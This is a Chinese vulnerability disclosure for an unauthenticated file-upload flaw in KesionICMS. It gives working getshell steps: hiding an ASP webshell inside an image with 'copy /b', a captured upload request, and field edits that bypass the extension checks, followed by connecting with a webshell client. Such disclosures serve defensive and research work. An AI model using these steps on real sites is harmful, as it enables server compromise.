漏洞详情

披露状态:

2014-07-29: 细节已通知厂商并且等待厂商处理中
2014-08-03: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2014-09-27: 细节向核心白帽子及相关领域专家公开
2014-10-07: 细节向普通白帽子公开
2014-10-17: 细节向实习白帽子公开
2014-10-24: 细节向公众公开

简要描述:

KesionICMS除了自带的文章、图片、下载系统外还可以在文章、图片、下载三个系统模型的基础上自定义出功能模型比如房产系统,酒店系统,图片系统,软件下载等;自定义表单助您轻松打造在线报名,举报投诉等功能。10年开发经验的优秀团队,在掌握了丰富的WEB开发经验和CMS产品开发经验的同时,勇于创新追求完美的设计理念,力争为全球更多网站提供助力,并被更多的政府机构、教育机构、事业单位、商业企业、个人站长所认可。

详细说明:

KesionICMS某个频道上传功能的地方有缺陷,导致漏洞形成。
本漏洞测试的时候无需登录,即可进行操作。
问题出在:UserIncludeUpLoad.ashx,程序只对上传时的文件进行一系列判断,但是没有在文件上传后进行判断,导致可以getshell。
因为官网demo有 安全狗,所以不能用官网来演示菜刀连接……但证明成功上传还是可以的

11111.png

0x01 准备
由于程序会对图片的有效性进行判断,所以我们不得不copy一下

copy /b 1.jpg+1.asp 123.jpg

其中1.jpg为随意有效图片文件,1.asp为一句话,得到的123.jpg即为copy后待上传的图片文件。

漏洞证明:

0x02 上传&改包
用burp截包如下:

POST /user/include/upload.ashx HTTP/1.1
Accept: text/*
Content-Type: multipart/form-data; boundary=----------ei4gL6cH2ae0KM7Ij5Ef1ae0KM7ei4
User-Agent: Shockwave Flash
Host: www.******.com
Content-Length: 18389
Proxy-Connection: Keep-Alive
Pragma: no-cache
Cookie: ASP.NET_SessionId=dd1zohqmmxotk045nu52vsaf
------------ei4gL6cH2ae0KM7Ij5Ef1ae0KM7ei4
Content-Disposition: form-data; name="Filename"
2.jpg
------------ei4gL6cH2ae0KM7Ij5Ef1ae0KM7ei4
Content-Disposition: form-data; name="AutoRename"
4
------------ei4gL6cH2ae0KM7Ij5Ef1ae0KM7ei4
Content-Disposition: form-data; name="formid"
0
------------ei4gL6cH2ae0KM7Ij5Ef1ae0KM7ei4
Content-Disposition: form-data; name="FieldID"
pic
------------ei4gL6cH2ae0KM7Ij5Ef1ae0KM7ei4
Content-Disposition: form-data; name="upBySwf"
1
------------ei4gL6cH2ae0KM7Ij5Ef1ae0KM7ei4
Content-Disposition: form-data; name="ispic"
0
------------ei4gL6cH2ae0KM7Ij5Ef1ae0KM7ei4
Content-Disposition: form-data; name="ChannelID"
1001
------------ei4gL6cH2ae0KM7Ij5Ef1ae0KM7ei4
Content-Disposition: form-data; name="Filedata"; filename="2.jpg"
Content-Type: application/octet-stream
(省略文件内容)
------------KM7ei4KM7cH2ei4Ef1ei4ae0KM7GI3
Content-Disposition: form-data; name="Upload"
Submit Query
------------KM7ei4KM7cH2ei4Ef1ei4ae0KM7GI3--


我们做以下几个修改:(这块语言可能描述的不太好,大家谅解,下面会有一个视频演示来帮大家理解)
1.复制以下内容(不同网站内容可能不完全相同)

------------KM7ei4KM7cH2ei4Ef1ei4ae0KM7GI3
Content-Disposition: form-data; name="Filename"
2.jpg


并在2.jpg后面回车、粘贴

w1.png


2.将第二个2.jpg改为asp后缀文件
3.将第二个Filename改为Filenames
4.复制以下内容(不同网站内容可能不完全相同)

------------KM7ei4KM7cH2ei4Ef1ei4ae0KM7GI3
Content-Disposition: form-data; name="upBySwf"
1


并在1后面回车、粘贴

w3.png


5.将第二个upBySwf改为NoReName
至此就完成修改了。下面按Ctrl+R将Raw发送到Repeater,点击Go 显示出文件路径

w4.png


菜刀连接即可

w5.png


演示视频:http://pan.baidu.com/s/1eQrIj7c 密码ptr5 不听歌的话就静音 :)

修复方案:

文件上传后判断是否合法
加强安全意识吧,骚年们 :)

标签: none

评论已关闭